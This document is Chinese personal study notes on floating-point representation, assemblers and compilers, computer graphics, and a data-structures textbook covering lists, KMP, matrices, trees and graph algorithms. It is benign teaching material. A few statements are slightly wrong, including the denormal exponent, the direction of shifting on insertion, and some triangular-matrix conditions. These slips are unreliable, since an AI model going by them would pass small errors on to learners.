-1 的 s 次幂是数学上所采用的一种巧妙方法，含义是：如果 s = 0，则该数是正的（因为任何数的 0 次幂都是 1）；如果 s = 1，则该数是负的（因为 -1 的 1 次幂等于 -1）。

表达式的中间部分是 1.f，其含义是：1 的后面是小数点，小数点后面跟着 23 位的有效数。

1.2f 与 2 的幂相乘，其中指数等于内存中的 8 位的偏移指数减去 127。

特殊情况：

如果 e = 0 且 f = 0，则该数为 0。在这种情况下，通常把 32 位都设置为 0 以表示该数为 0。但是符号位可以设置为 1，这种数可以解释为负 0。负 0 可以用来表示非常小的数，这些数极小以至于不能在单精度格式下用数字和指数来表示，但它们仍然小于 0。
如果 e = 0 且 f != 0，则该数是合法的，但不是规范化的。表示为：(-1)^s * 0.f * 2^(-127)，在有效数中，小数点的左边是 0。
如果 e = 255 且 f = 0，则该数被解释为无穷大或无穷小，这取决于符号位 s 的值。
如果 e = 255 且 f != 0，则该数被解释为“不是一个数”，缩写为 NaN，用来表示未知的数或非法操作的结果。

负指数小数点左移；正指数小数点右移。

这意味着在单精度浮点格式下，16,777,216 和 16,777,217 将表示成同一个数。不仅如此，处于这两个数之间的所有的数（如：16,777,216.5）也将被表示成同一个数。这是因为它们转换成二进制后都是相等的。

双精度浮点数：用 8 个字节来表示，分为：1 位符号位、11 位指数位和 52 位有效数。

双精度浮点数的指数偏移量是 1023，表示为：(-1)^s * 1.f * 2^(e-1023)

关于单精度格式下的 0，无穷大（小）和 NaN 的规则通用适用于双精度。

双精度的有效数有 53 位（包括前面没有列出的那一位），大致相当于十进制的 16 位。

浮点数加法中最重要的一点就是如果对有效数相加，为了能使它们的有效位匹配，需要利用指数来确定对其如何移位。

两个浮点数的乘法意味着要把有效数当做整数相乘，并且把指数部分相加。为了使结果规范化，一般需要对指数调整一到两次。

浮点数的平方根、指数、对数和三角函数，都可以通过加减乘除这四种基本的运算来实现。

阶乘运算：把从 1 到该数之间的所有整数相乘，如：5! = 1*2*3*4*5

数学协同处理器，即浮点运算单元（FPU）。

如果机器上安装了数学协处理器，程序员就要学会编写相应的应用程序以支持它的运行；如果没有安装，程序员就要通过编程来模拟它进行浮点数运算。

第二十四章高级语言与低级语言

像 ASM.COM 这样的汇编器程序所做的工作是：读取一个汇编语言文件（源代码文件），将其转换得到一个包含机器码的文件，即可执行文件。

构成汇编语言的助记符和机器码之间是一一对应的。汇编器拥有一张包括所有可能助记符及其参数的表，它逐行读取汇编语言程序，把每一行都分解成为助记符和参数，然后把这些短小的单词和字符与表中内容匹配。通过这种匹配的过程，每一个语句都会找到与其对应的机器码指令。

第一个编写汇编器的人需要手工对程序汇编。如果要为机器写一个新的汇编器（或对其修改），则可以使用汇编语言编写该程序，然后使用原来的汇编器对其汇编。一旦新的汇编器通过了汇编，则它也就可以对自身进行汇编，这就是自举。

交叉汇编：新的汇编器可以在已有的计算机上编写，并利用其汇编器进行汇编，即利用计算机 A 的汇编器对运行在计算机 B 上的程序汇编。

缺点：

使用汇编语言编程非常乏味，因为这是在微处理器芯片级的编程，因此不得不考虑每一个微小的细节。
不可移植。

汇编语言被称为低级语言，因为它和计算机硬件的关系相当紧密。

定义高级语言，包括定义语言的语法来表达该语言可以描述的一切事物，还要为其编写一个编译器，可以将高级语言的程序语句转换为机器码指令。

如果要在不同类型的处理器上运行程序，则需要用处理器对应的编译器将程序转换成对应的机器码，因此，最后生成的可执行文件仍然只适用于特定的处理器。

从高级语言程序生成的可执行程序比相同功能的汇编语言程序更大，并且运行速度也更慢。近年来已经不再明显，因为微处理器变得更加复杂，而且编译器在优化代码方面也更加成熟。

如果某种高级语言具有真正意义的可移植性，那么它将不能使用某些处理器的特有功能。

许多现代编译器都是利用处理器的移位指令来实现乘以或除以 2 的幂。

流水线技术使得汇编语言变得更加复杂且不易处理。

语法错误
运行时错误：编译器不能检查出这个错误，程序被执行时才出现的错误

素数是只能被 1 及其本身整除的一类整数。第一个素数是 2（也是唯一的偶数素数），其它素数还包括 3，5，7，11，13，17，等等。

寻找素数的算法：爱拉托逊斯筛法。以 2 开始的整数表开始，因为 2 是素数，因此所有可以被 2 整除的数都被排除掉（即除了 2 之外的全部偶数）。接下来是 3，因为 3 是素数，因此所有可以被 3 整除的数也被排除掉。因为 4 在第一个步骤中已经被排除掉，所以下一个要考虑的数是 5，即排除所有 5 的倍数。按这种方式不断循环，最后剩下的都是素数。

第一个 for 循环将数组 a 的每一个元素的初始值设置为布尔值 true。这里的 true 表示该位置的数是素数，因此现在程序默认所有的数都是素数。
第二个 for 循环的范围是 1~100（100 刚好是 10000 的平方根）。在该循环中，如果判断条件成立，则该数为素数，即 a[i] 为 true。第三个 for 循环则会把该数的所有小于或等于 10000 的倍数（除了其本身）设置为 false，因为这些数都不是素数。
最后的 for 循环用来输出所有的素数，即 a[i] 为 true 的数。

编译器读取源文件并生成一个可执行文件，而解释器边读边执行源文件，不会产生新的文件。解释器的原理比编译器的简单一些，更容易编写，但其运行程序的速度要比后者要慢。

第二十五章图形化革命

640（水平） * 480（垂直）

在计算机内部，有一块专门供视频显示器使用的内存区域，屏幕上的每一个像素点由 1 个或多个比特表示。这些二进制数值不仅决定了像素点的亮度，还决定了它的颜色。

红绿组合出黄色，红蓝组合出品红色，蓝绿组合是青色，三原色组合出白色。

高彩色：为每个像素赋予 2 个字节的存储空间，这样一来，可以给每一个原色分配 5 位（1 位保留）存储空间，这种方法可以使得每种颜色具备 32（2^5）种不同的色阶，这样算下来总共有：3*5=15 2^15=32,768 种不同的颜色。

全彩色：用 3 个字节来表示一个像素，三原色中的每一种各占一个字节。这种编码模式使红、绿、蓝各自呈现出 256 种不同的色阶，这样算下来共有 16,777,216 种不同的颜色。

色深（色彩分辨率）：每个像素所赋予的比特数。颜色数 = 2^每个像素所赋予的比特数。

在冯诺依曼计算机的体系结构中，只有两种元素，一种是机器码，另一种是机器码所操作的数据。

对象实际上是代码和数据的组合。在对象内部，与其相关联的代码决定了数据存在的意义，要理解数据的存储方式首先需要理解代码。对象如果需要与其它对象通信，则通过发送或接收消息来实现这一过程，比如一个对象可以通过给另一个对象发送指令来获得相应信息。

计算机图形的两种分支：

矢量图形：在一些算法的帮助下，利用直线、曲线及填充区域生成图形。也正是计算机辅助设计（）所应用的领域。矢量图形一般转化为图元文件格式以存放到文件中。图元文件是由生成矢量图形的一系列绘制命令的集合组成的，这些命令通常已经被编码为二进制形式。矢量图形的主要工具就是直线、曲线及填充区域。
光栅图形（位图）：将图像以矩阵阵列的形式进行编码，阵列中的一个单位对应着输出设备上的一个像素点。就像视频显示器一样，位图是一种空间上的概念（可以称其具有分辨率），其图像的宽度和高度都以像素为单位来表示。位图也具备色深（颜色分辨率或颜色深度）的概念，色深是指每一个像素被赋予的比特数。位图中每个像素被赋予的比特数相同。从表现形式上看是二维的，但其本身的存储形式却是一串连续的字节，通常从最顶端 1 行像素开始，紧跟着的是第 2 行、第 3 行，等等。

Internet 从本质上来讲是一组协议的集合，这些协议是计算机之间相互通信的保证。众多的协议中，最重要的当属 TCP/IP 协议，它包括了传输控制协议（）和网际协议（）。这种协议使得传输过程变得规则化，不再是简单地通过线路传输 ASCII 码字符，而由基于 TCP/IP 协议的传输系统把大的数据块分割成小的包，之后在传输线路上（通常是电话线）独立发送，最后在传输线路的另一端将数据重新组装起来。

Java 介于编译语言和解释语言之间，它需要经过编译，但编译的结果不是机器码，而是 Java 字节码。 Java 字节码与机器码在结构上很相似，但 Java 字节码可以在一种虚拟的计算机下被解释，即 Java 虚拟机（JVM）上。被编译的 Java 程序产生 Java 字节码，之后计算机模拟 JVM 对其进行解释。Java 程序的运行可以不受限于机器与图形操作系统的类型，所以它具有平台无关性。

利用电流在线路上传输信号和信息：光纤，一种由玻璃或聚合体制造的光导纤维，通过从不同角度对光进行反射达到光传输效果。光信号在光纤中的传输速率可以达到千兆赫兹，即每秒十亿个比特。

【读书笔记】数据结构（C语言版）（第三版）人民邮电出版社

Mon, 02 May 2022 07:23:08 GMT

第一章概论

数据：
- 逻辑结构：数据与数据之间所存在的逻辑关系
- 存储结构：数据在计算机中的存储结构，体现逻辑结构
- 运算集合：由为数据定义的所有运算构成，定义在逻辑结构上，实现依赖于存储结构
结点：
- 开始结点：无前驱结点
- 内部结点：不是开始结点，也不是终端结点
- 终端结点：无后继结点
线性结构：只有一个开始和终端，其余每个结点有且仅有一个前驱和后继
非线性结构：
- 树型结构：一个开始，多个终端，除开始外都有且只有一个前驱
- 图形结构：多个前驱，多个后继
存储结构：
- 顺序存储：物理位置相邻
- 链式存储：每个结点有若干个指针
- 索引存储：根据结点索引号确定存储地址
- 散列存储：结点 k_i 的存储地址有函数 h(k_i) 确定
数据的抽象发展阶段：
1. 无类型的二进制数：基本数据类型
2. 基本：用户自定义类型
3. 自定义：抽象数据类型
数据类型：
- 数据属性
- 在这些数据上可施加的运算集合
算法：求解问题的一种方法或一个过程
- 特征：有穷性；确定性；输入；输出；可行性
时间复杂度：用算法执行过程中基本操作的执行次数来衡量
- O(1) 常数阶
- O(log_2n) 对数阶
- O(n) 线性阶
- O(n^2) 平方阶
- O(n^3) 立方阶
- O(n^k) k 次方阶
- O(2^n) 指数阶

第二章线性表及其顺序存储

线性表：线性结构
- 顺序存储：顺序表
- 链式存储：链式表
- 实现（边界条件）：
  - 插入：考虑满的情况
  - 删除：考虑空的情况
顺序表：结点存储的地址连续
- 随机访问：只要知道第一个结点，就可以任意访问其余结点
- 操作：
  - 插入：O(n)：要把新结点后的元素依次前移一个位置
  - 删除：O(n)：要把被删除结点后的元素依次前移一个位置
栈：特殊线性表
- 特点：
  - 只允许在同一端（栈顶或栈底）插入（进栈）和删除（出栈）
  - 后进先出（LIFO）
- 实现：
  - 顺序存储：顺序栈，用数组表示
  - 链式存储：链式栈
- 应用：
  - 括号匹配
  - 算术表达式求值：后缀表达式
队列：特殊线性表
- 特点：
  - 插入（进队）和删除（出队）分别在两端（队首或队尾）进行
  - 先进先出（FIFO）
- 实现：
  - 顺序存储
    - 循环队列：把队首和队尾元素视为相邻
      - 队列满的条件：(rear+1) % MAXSIZE == front
      - 队列空的条件：rear == front
      - 插入删除时指针加 1 时，需增加取模操作
  - 链式存储
整数取余或模：
1. 先求商（整数）：c = a / b
2. 再求余或模：r = a - cb

第三章线性表的链式存储

链式存储：
- 用附设指针来体现结点之间的逻辑关系
- 必须有一个指针指向第一个结点的存储位置，否则各个结点都无法访问
单链表：
- 结构：
  - 存放数据的域
  - 指向该结点后继结点的指针域
- 无法随机访问，必须从第一个结点开始沿着指针向后遍历
- 插入删除无需移动结点
- 插入删除时需考虑结点为第一个结点的情况
带头结点的单链表：
- 头结点：指向第一个实际结点的结点，不存放数据
循环单链表：
- 功能：可从任意结点开始访问到任意结点
- 实现：最后结点指针域指向第一个结点
- 当前结点为最后结点的特征：下个元素是第一个元素
- 增加头结点：带头结点的循环单链表
双链表：
- 结构：
  - 存放数据的域
  - 两个指针分别指向该结点的前驱和后继
- 第一个结点没有前驱，左指针域为空
- 最后的结点没有后继，右指针域为空
- 操作：
  - 插入：
    - 最前面插入
    - 中间插入
    - 最后面插入
  - 删除：
    - 唯一结点
    - 第一个结点
    - 最后结点
    - 中间结点
链式栈：特殊单链表
- 维持一个栈顶指针
链式队列：特殊单链表
- 维持队首队尾两个指针
- 插入：
  - 空队列插入
  - 非空队列插入
- 删除：
  - 只有一个结点
  - 不只一个结点

第四章字符串、数组和特殊矩阵

字符串

定义：元素类型为字符的特殊线性表
子串：串中任意个连续字符构成的子序列
主串：包含子串的串
长度：串中所含字符个数
位置：字符在串序列中的序号
相等：长度相等且对应位置字符都相等
实现：
- 顺序串（顺序存储）：
  - 插入：从新字符往后的元素需向后移动
  - 删除：从被删除字符往后的元素需向前移动
  - 连接
  - 求子串
- 链式串（链式存储）：
  - 插入：链表插入
  - 删除：链表删除
  - 连接
  - 求子串
模式匹配：寻找字符串 p（模式）在字符串 t（正文）中出现的位置
- 实现：
  - 朴素：用模式中的字符与正文中的字符一一比较
    - 最坏：O(nm)：n、m 分别为模式、正文中的字符数
  - 快速（KMP算法）：
    - 前缀：除最后一个字符外的全部头部组合
    - 后缀：除第一个字符外的全部尾部组合
    1. 先求模式的部分匹配表（前缀后缀最长共有元素长度）
    2. 根据匹配表移动元素
      - 当模式的第一个字符相等时：移动位数 = 已匹配字符数 - 对应匹配值（从匹配表中得）
      - 当模式的第一个字符不相等时：移动位数 = 1 即不考虑匹配表

KMP 算法：

KMP 算法可部分匹配，也可找出全部匹配

正文：BBC_ABCDAB_ABCDABCDABDE 模式：ABCDABD（部分匹配表）（Next 数组）

部分匹配值：0 0 0 0 1 2 0 一一对应，来自于前缀和后缀的最长共有元素个数

1 的得来：ABCDA 前缀为 [A, AB, ABC, ABCD] 后缀为 [BCDA, CDA, CD, A] 共有元素为 A，只有一个，所以为1

前缀：除最后一个字符外全部头部组合 -> [A, AB, ABC, ABCD, ABCDA, ABCDAB] 后缀：除第一个字符外全部尾部组合 -> [BCDABD, CDABD, DABD, ABD, BD, D]

如果第一个字符就不匹配，直接移动一位，不考虑匹配表。移动位数 = 已匹配字符数 - 对应的部分匹配值

数组

定义：
- 每个元素有一个值和一组下标确定，每个下标对应每个值
- 数组中的元素数量固定，无法添加和删除，只能访问和改变值
实现：顺序存储结构，使用连续的存储空间存储
多维数组存储顺序：
- 按行优先：第一行顺序存储、第二行顺序存储等
- 按列优先：第一列顺序存储、第二行顺序存储等
地址计算：
- 二维数组：设有二维数组 A[m][n]，共有 m 行、n 列
  - 按行优先：a[i][j] 地址 = 首地址 + (i*n+j) * 单个元素存储空间
  - 按列优先：a[i][j] 地址 = 首地址 + (j*m+i) * 单个元素存储空间
- 多维数组：设有多维数组 B[m][n][o][p]
  - 按行优先：a[i][j][k][l] 地址 = 首地址 + (i*n*o*p+j*o*p+k*p+l) * 单个元素存储空间
  - 按列优先：a[i][j][k][l] 地址 = 首地址 + (l*o*n*m+k*n*m+j*m+i) * 单个元素存储空间
操作：
- 初始化数组：求出各维 C_i 值，这个值只依赖于各维大小和单个元素存储空间
- 访问数组元素
- 赋值给数组元素

特殊矩阵

定义：矩阵中包含许多相同值或零
压缩存储：
- 多个相同值元素只分配一个存储空间
- 值为 0 的元素不分配存储空间
对称矩阵：满足 a[i][j] = a[j][i]
- 方阵：行数和列数相等
- 对角线以上（i>=j）：a[i][j] 地址 = 首地址 + [i*(i+1)/2+j] * 单个元素存储空间
- 对角线以上（i<=j）：a[i][j] 地址 = 首地址 + [j*(j+1)/2+i] * 单个元素存储空间
三角矩阵：对角线以上或以下的元素值均为 0
- 下三角矩阵：对角线以上（i>=j）元素均为 0
  - a[i][j] 地址 = 首地址 + [i*(i+1)/2+j] * 单个元素存储空间
- 上三角矩阵：对角线以上（i<=j）元素均为 0
  - a[i][j] 地址 = 首地址 + [i*n-(i-1)*i/2+j-i] * 单个元素存储空间
带状矩阵：全部非零元素落在以对角线为中心的带状区域
- 包含：主对角线 + 主对角线上面和下面各 b 条对角线（半带宽：b，带宽：2b+1）
- 特点：当 |i-j| > b 时，a[i][j] 为特殊元素（零值、相同值或可忽略值）
- 存储：除第一行和最后一行外，每行都会分配 2b+1 个空间，共有空间：[(2b+1)*n-2b] * 单个元素存储空间
- 当 |i-j| <= b 时，a[i][j] 地址 = 首地址 + [i*(2b+1)+j-i] * 单个元素存储空间
稀疏矩阵：为零元素个数远远大于非零元素个数
- 顺序存储：
  - 方法：
    - 三元组表示法：行号、列号、值，按行号递增，同一行按列号递增
    - 带辅助行向量的二元组表示法
    - 伪地址法
  - 三元组表示时的矩阵转置
- 链式存储：
  - 方法：
    - 带行指针向量的单链表表示法
    - 行列表示法
    - 十字链表表示法：只存储非零元素。三个环形链表（带表头结点）：1、2 两个链表共用表头结点（第 i 行链表和第 i 列链表）
      1. 同一行元素链表
      2. 同一列元素链表
      3. 表头结点链表

第五章递归

概念：
- 分类：
  - 直接递归：函数定义中出现了对自身的调用
  - 间接递归：函数 a 调用函数 b，b 中又调用 a（环状调用链）
- 分治设计：将问题分解为若干子问题，子问题与原问题结构相同、求解过程相同，但规模较小
  - 利用子问题的解组合成原问题的解
  - 递归出口：通过修改参数再进行自身调用，直至子问题可被直接求解，可有多个递归出口
  - 参数的修改必定使递归出口的条件得以满足
调用栈：用于存放函数调用和返回所需的各种数据，包含：
- 函数调用执行完成时的返回地址
- 函数返回值
- 每次函数调用的实参
- 局部变量
递归程序转换成非递归程序：
- 简单递归问题：直接求值，无需回溯（递推方法）
- 复杂递归问题：不能直接求值，必须试探和回溯（使用栈来记忆回溯点）
- 递推方法：自底向上，先计算子问题避免重复计算

第六章树型结构

定义：
- 有且只有一个结点称为根
- 其余结点又都是一棵树，称为根节点的子树
- 递归定义：一棵树由根和子树构成，子树又由子树根和更小的子树构成
表示方法：树型结构法、括号表示法、凹入表示法、嵌套集合表示法
关系：
- A 在 B 上端：称 A 是 B 的双亲（父母、前件）
- B 在 A 下端：称 B 是 A 的子女（孩子、后件）
- B、C、D 的双亲为同一结点：称 B、C、D 互为兄弟
除根结点外，其余结点有且只有一个双亲，零个或多个子女
度：
- 结点的度：一个结点拥有的子女数
- 树的度：树中所有结点度的最大值
结点的分类：
- 终端结点（叶子结点）：度为 0 的结点
- 非终端结点（分支结点）：度不为 0 的结点
树枝：连接两个结点的线段
路径：从某结点从上而下到另一结点，则称这两个结点之间存在着一条路径
路径长度：所经过的树枝的条数
根节点到任何一个结点均存在一条路径
祖先：从根到 A 结点所经过的所有结点称为 A 的祖先
子孙：以 A 结点为根的子树中任何一个结点称为 A 的子孙
层次：根节点为第 1 层，子女结点为第 2 层，以此类推
树的深度（高度）：树中结点的最大层次数
有序树：任意结点的子树均为从左到右有次序，不能随意交换
无序树：子树可随意交换，不影响实际意义
森林：m 棵互不相交的树构成的集合
- 树转换为森林：一棵树中每个结点的子树集合
- 森林转换为树：森林中每棵树加上一个共同的根

树的存储结构

双亲表示法：指出双亲位置
- 除根结点无双亲外，其余结点有唯一确定的双亲
- 结构：数据域 + 该结点的双亲指针或数组下标
孩子表示法：指出子女位置
- 结构：
  - 指针方式：数据域 + 指针数组，数组中元素为指向该结点子女的指针
  - 数组方式：数据域 + 数组下标，树中结点存储在一维数组中；缺点：数组大小由树的度决定
  - 链表方式：数据域 + 单链表，由各个结点的子女组成，各单链表头指针也可以用数组来存储
孩子兄弟表示法：指出孩子和兄弟，再串联起来
- 以二叉链表方式存储（二叉树表示法）
- 结构：数据域 + 指向当前结点的第一个子女结点 + 指向当前结点的右兄弟结点

树的遍历

定义：
- 按某种规定的顺序访问树中结点一次，且仅一次
- 把树的结点排成一个线性序列
前序遍历：先根后左右：先根，再对子树从左到右
后序遍历：先左右后根：先对子树从左到右，再跟
层序遍历：从上到下，从左到右：队列

树的线性表示

树型结构分支性和层次性
根据树的遍历序列无法唯一的确定一棵树
线性表示：在遍历序列中附加信息从而唯一地确定一棵树
- 括号表示法：A(B, C(F, G, H), D, E(J, I))
  - 左括号前的元素为括号内元素的根结点
  - 转换：用栈来匹配括号
- 层号表示法：1A, 2B, 2C, 5F, 5G, 5H, 2D, 2E, 3J, 3I
  - 层号：
    - A 为 B 的孩子，则 A 的层号大于 B 的层号
    - A、B 都为同一结点的孩子，则 A、B 层号相同
  - 为每个结点规定层号，在按前序遍历顺序写出结点，结点前再加上层号
  - 一棵树的层号表示并不唯一，只要满足层号条件即可
  - 转换

第七章二叉树

定义：
- 非空结点最多有两个子女
- 明确区分是左子树还是右子树，即使只有一颗子树
性质：
- 第 i 层最多有 2^{i-1} 个结点（i>=1）
- 深度 h 最多有 2^h-1 个结点（h>=1）
- 设终端结点数为 A，度为 2 的结点数为 B，则有 A = B + 1
满二叉树：终端结点在同一层且非终端结点的度均为 2，结点数为 2^h-1
完全二叉树：
- 扣除最后一层后变成满二叉树，且最后一层结点向左靠齐
- 只有最下面两层的结点的度可以 < 2
- 序号由层序遍历给出，对于序号为 i 的结点有：
  - i = 1：结点 i 为根节点，无双亲；i > 1：结点 i 双亲序号为 /lfloor i/2 /rfloor
  - 2i > n：结点 i 为终端结点；2i <= n：结点 i 左子女为结点 2i
  - 2i+1 > n：结点 i 无右子女；2i+1 <= n：结点 i 右子女为 2i + 1

存储结构

顺序存储：
- 完全二叉树：按层序遍历的序号存入数组
- 一般二叉树：共有 3 个域（3个数组），分别存放：数据 + 左孩子下标 + 右孩子下标，还可再增加一个域来存放双亲下标
链式存储：数据域 + 指向左右子树的指针

操作

二叉树遍历：
- 前序遍历：先根后左右
- 中序遍历：先左中根后右
- 后序遍历：先左右后根
- 创建二叉树的算法可由遍历算法得到
- 非递归实现可用栈来保存回溯点
其它操作：
- 查找：返回给定值在树中的位置
- 统计结点个数
- 判断两树是否等价
- 求二叉树的高度（深度）：左子树高度和右子树高度中的最大值，再加 1

穿线二叉树（线索二叉树）

解决一般二叉树的空间浪费：设一颗二叉树有 n 个结点，则共有 2n 个指针，指针中只有 n-1 个被使用，n+1 个为空指针
定义：
- 指针：左右子树非空，则与正常二叉树相同指向
- 线索：左子树为空，则让左指针指向某种遍历顺序下的前驱结点；右子树为空，则让右指针指向某种遍历顺序下的后驱结点
- 当遍历顺序为前序时，则称之为前序穿线二叉树，以此类推
实现结构：增加两个标志位
运算：
- 创建：先创建普通二叉树，再对其进行线索化
- 中序遍历

树（森林）和二叉树的相互转换

定义：
- 树（森林）唯一对应一颗二叉树
- 一颗二叉树唯一对应一棵树（森林）
树（森林）转换为二叉树：
1. 兄弟结点间添加一条连线（森林时，则各个树根间也加）
2. 对每个结点，只保留到第一个子女的连线，撤销到其它子女的连线
3. 顺时针方向旋转 45°
二叉树转换为树（森林）：
1. 将二叉树逆时针方向旋转 45°
2. 连接新右子女：如果某结点是其双亲的左子女，则将该结点的右子女、右子女的右子女等（直到没有右子女）都与该结点的双亲结点连线
3. 删除旧右子女：去掉双亲到右子女的连线

第八章图

定义：非空顶点集合 + 描述顶点间多对多关系的边集合（弧集合）
n：顶点数；e：边数
弧（有向边）：
- 弧尾：弧的始点
- 弧头：弧的终点
无向图：图的边没有方向：e <= n(n-1)/2
完全图：拥有最多的边数，任意一对顶点间均有边相连
- 有向完全图：e = n(n-1)
- 无向完全图：e = n(n-1)/2
邻接术语说明：
- 无向边：(A, B)：
  - 顶点 A 和顶点 B 互为邻接点；A 与 B 相邻接
  - 边 (A, B) 关联于顶点 A 和顶点 B；边 (A, B) 与顶点 A 和 B 相关联
- 有向边：<A, B>：
  - A 邻接到 B；B 邻接于 A
  - 边 <A, B> 关联于顶点 A 和顶点 B；边 <A, B> 与顶点 A 和 B 相关联
度：一个顶点的度就是与该顶点相关联的边的数目
- 有向图时：
  - 入度：以顶点为终点的边数
  - 出度：以顶点为始点的边数
子图：设 G_i = (V_i, E_i)，G_j = (V_j, E_j)，如果满足 V_i <= V_j，E_i <= E_j，则 G_i 是 G_j 的子图
路径：从顶点 A 到顶点 B 经过的边都在图的边集中，称这个序列为 A 到 B 的一条路径
- 图为有向图时，路径也是有向的
- 路径长度：该路径上的边的数目
- 简单路径：除起点和终点外，其余路径上的顶点均不相同
  - 简单回路（简单环）：起点和终点相同的简单路径
连通术语说明：
- 无向图：
  - 连通：任意两个顶点 A、B 互相有路径
    - 极大连通子图（又称为连通分量）为其自身
    - 极小连通子图为其生成树
  - 不连通：
    - 多个极大连通子图
    - 多个极小连通子图
- 有向图：
  - 连通（称为强连通）：任意两个顶点 A、B：A 到 B、B 到 A 有路径
    - 极大连通子图（又称为强连通分量）为其自身
  - 不连通：
    - 多个极大连通子图
  - 没有极小连通子图的概念
权：与边相关的数值
带权图（网络）：图的每条边都有权

图的存储结构

要求：既要存储图的顶点信息，又要存储顶点之间的联系（边）
邻接矩阵：
- 结构：
  1. 先用一维数组（顺序表）存储数据元素的信息
  2. 再用二维数组（邻接矩阵）存储数据元素之间的关系（边）
- 度数：
  - 无向图：当顶点为 V_i 时，度数为第 i 行或第 i 列值为 1 的元素个数
  - 有向图：当顶点为 V_i 时，
    - 出度：第 i 行值为 1 的元素个数
    - 入度：第 i 列值为 1 的元素个数
- 存储网络：边：(i, j)
  - 边在边集中：存储权值
  - 边不在边集中且 i = j：存储 0
  - 边不在边集中且 i != j：存储无穷大
- 存储空间：
  - 无向图：n^2
    - 无向图时邻接矩阵时对称的，可用三角压缩存储：n(n+1)/2
  - 有向图：n^2
- 表示唯一
- 适合稠密图
邻接表：
- 占用的存储空间与边数无关，只与顶点数有关
- 方法：顶点 V_i 的邻接表：对于每个顶点 V_i，把所有邻接于 V_i 的顶点链成一个带头结点的单链表
- 结构：
  - 邻接点域：只是这个顶点在图中的位序
  - 链域（单链表中的链域）：指示与顶点 V_i 邻接的下一个结点
  - 头结点中存储顶点数据，再把各个头结点存放在数组中
- 无向图：每个表结点对应与 V_i 相关联的一条边
- 有向图：
  - 出边表（有向图的邻接表）：每个表结点对应以 V_i 为始点射出的一条边
  - 入边表（有向图的逆邻接表）：每个表结点对应以 V_i 为终点的边，即摄入 V_i 的边
- 当无向图中有 n 个顶点、e 条边时：需要 n 个头结点、2e 个边结点
- 度数：
  - 无向图：第 i 个链表中结点的个数
  - 有向图（出边表）：
    - 出度：第 i 个链表中结点的个数
    - 入度：扫描邻接表（所有链表），其中邻接点域值为 i 的结点个数
- 表示不唯一
- 适合稀疏图（e 远小于 n(n-1)/2）
邻接多重表：
- 定义：
  - 每个顶点用一个表头结点表示，指向关联于顶点的第一条边
  - 每条边只有一个边结点表示，且可被多个链表共享
- 结构：
  - 标志域：用于标记该边是否被搜索过
  - 有两个域用来表示该边的两个顶点在图中的位序
  - 有两个指针域分别指向关联于两个顶点的下一条边

图的遍历

定义：从某点出发访问图中其余顶点，且每个顶点仅访问一次
解决图可能存在回路：记录每个已访问过的顶点
深度优先搜索（DFS）：类似于树的前序遍历
- 步骤：
  1. 先将所有顶点标记为未被访问
  2. 从中选取一个源点标记为已访问
  3. 再将源点的邻接点加入搜索，以此类推
- 时间复杂度：O(n+e)
广度优先搜索（BFS）：类似于树的层序遍历
- 步骤：
  1. 先访问源点
  2. 再访问源点的邻接点，直到全部邻接点都已访问才继续
- 尽可能先对横向结点进行搜索
- 当所有与源点有路径相通的顶点都已访问，此时从源点开始的搜索已完成，但：
  - 连通图：遍历完成
  - 非连通图：另选一个新的源点继续搜索，直到所有顶点都已访问
- 用队列保存顶点序列
- 时间复杂度：O(n+e)

图的生成树

定义：
- G 的子图 G' 包含 G 中所有顶点，且 G' 无回路连通，则称 G' 为 G 的一颗生成树
- 使用 DFS 或 BFS 搜索到的 n 个顶点和经过的边集（共 n-1 条边）组成的极小连通子图
- 连通图中包含所有顶点的极小连通子图
最小生成树（MST）：
- 定义：总权值最小的生成树
- 树权：生成树各边的权值总和
- 构造准则：
  - 必须只使用边集中的边
  - 必须仅使用 n-1 条边连接 n 个顶点
  - 不能使用产生回路的边
- 性质：必存在包含最小两栖边的最小生成树
- 两栖边：设 G = (V, E)，u 为 V（顶点集）的一个非空真子集。这时，如果边 (u, v) 满足 u /subseteq U 和 v /subseteq V-U，则称这条边为两栖边，即一个顶点在一边，另一个顶点在另一边
- 最小两栖边：两栖边中具有最小的权值
最小生成树算法：
- Prim 算法：
  - 思想：从所有两栖边中选取最小两栖边 (u, v)，将顶点 v 加入 U，边加入边集合，直到 U = V
  - 步骤：
    1. 初始化 U = {u_0}，tree = {}
    2. 终止条件：V = U
    3. 选边加入（最小两栖边不只一条时可任选一条）
    4. 调整
    5. 循环直到满足终止条件
  - 调整：对于任意顶点 v_j，如果顶点 v 与 v_j 之间的权值小于原来的两栖边 (v_i, v_j) 的权值，则用新边 (v, v_j) 代替旧边 (v_i, v_j)
  - 设顶点数为 n，则计算时间为 n^2
- Kruskal 算法：
  - 思想：
    - 按网络中边权值递增顺序构造
    - 初始化时仅包含所有顶点而没有边，把边按非递减排列，每个顶点各自构成一个连通分量，选边时：
      - 如果边关联的两个顶点分别在两个连通分量中，则将边加入边集、合并连通分量
      - 如果边关联的两个顶点在同一个连通分量中，则放弃该边，因为会产生回路
  - 步骤：
    1. 初始化
    2. 终止条件：已有 n-1 条边
    3. 选边加入
    4. 循环直至满足终止条件
  - 时间复杂度：取决于边排序的性能，使用快排时：O(elog_2e)
  - 避圈法：求解过程中不让在生成树中出现环
  - 破圈法：每次从图中找出一个环（回路），然后删除该环中最大权值的边，直至图中无环

图的最短路径

定义：从源点到终点权值和最小的路径
单源最短路径：
- Dijkstra 算法
- 设有 n 个顶点，e 条边的带权有向图的邻接矩阵：时间复杂度：O(n^2)
- 步骤：
  1. 先写出全部顶点，在顶点旁标注源点到该顶点的距离：
    - 顶点与源点的距离为一条边：正常距离
    - 顶点与源点的距离大于一条边：正无穷
  2. 从表中选出距离最小的顶点，现在从该顶点出发，计算所有与该顶点距离一边的顶点到源点的距离：
    - 如果该距离比表中距离小：更新
    - 否则：保持表不变
  3. 已选过的顶点不能再选取，重复选点直到所有点都选过
多源最短路径（所有顶点对最短路径）：
- 重复执行 Dijkstra 算法 n 次：O(n^3)
- Floyd 算法：O(n^3)
- 思想：求解 A_{k+1}[i][j] 的递推公式：
  - A_-1[j][j] = g.edges[i][j]
  - A_{k+1}[i][j] = min(A_k[i][j], A_k[i][k+1] + A_k[k+1][j])

图的拓扑排序

有向无环图：有向图中没有包含简单回路
AOV 网：用顶点表示活动，弧表示活动间优化关系的有向图
有向边 <u, v>：事件 u 必须先于事件 v 完成，称 u 为 v 的直接前驱，v 为 u 的直接后继
有向路径 <u, ..., v>：称 u 为 v 的前驱，v 为 u 的后继
拓扑序列：AOV 网中两个顶点的路径，这条路径满足顶点间前驱后继的关系
拓扑排序：给出 AOV 网的拓扑序列的过程
步骤：
1. 在图中找到一个没有前驱（入度为0）的顶点并输出
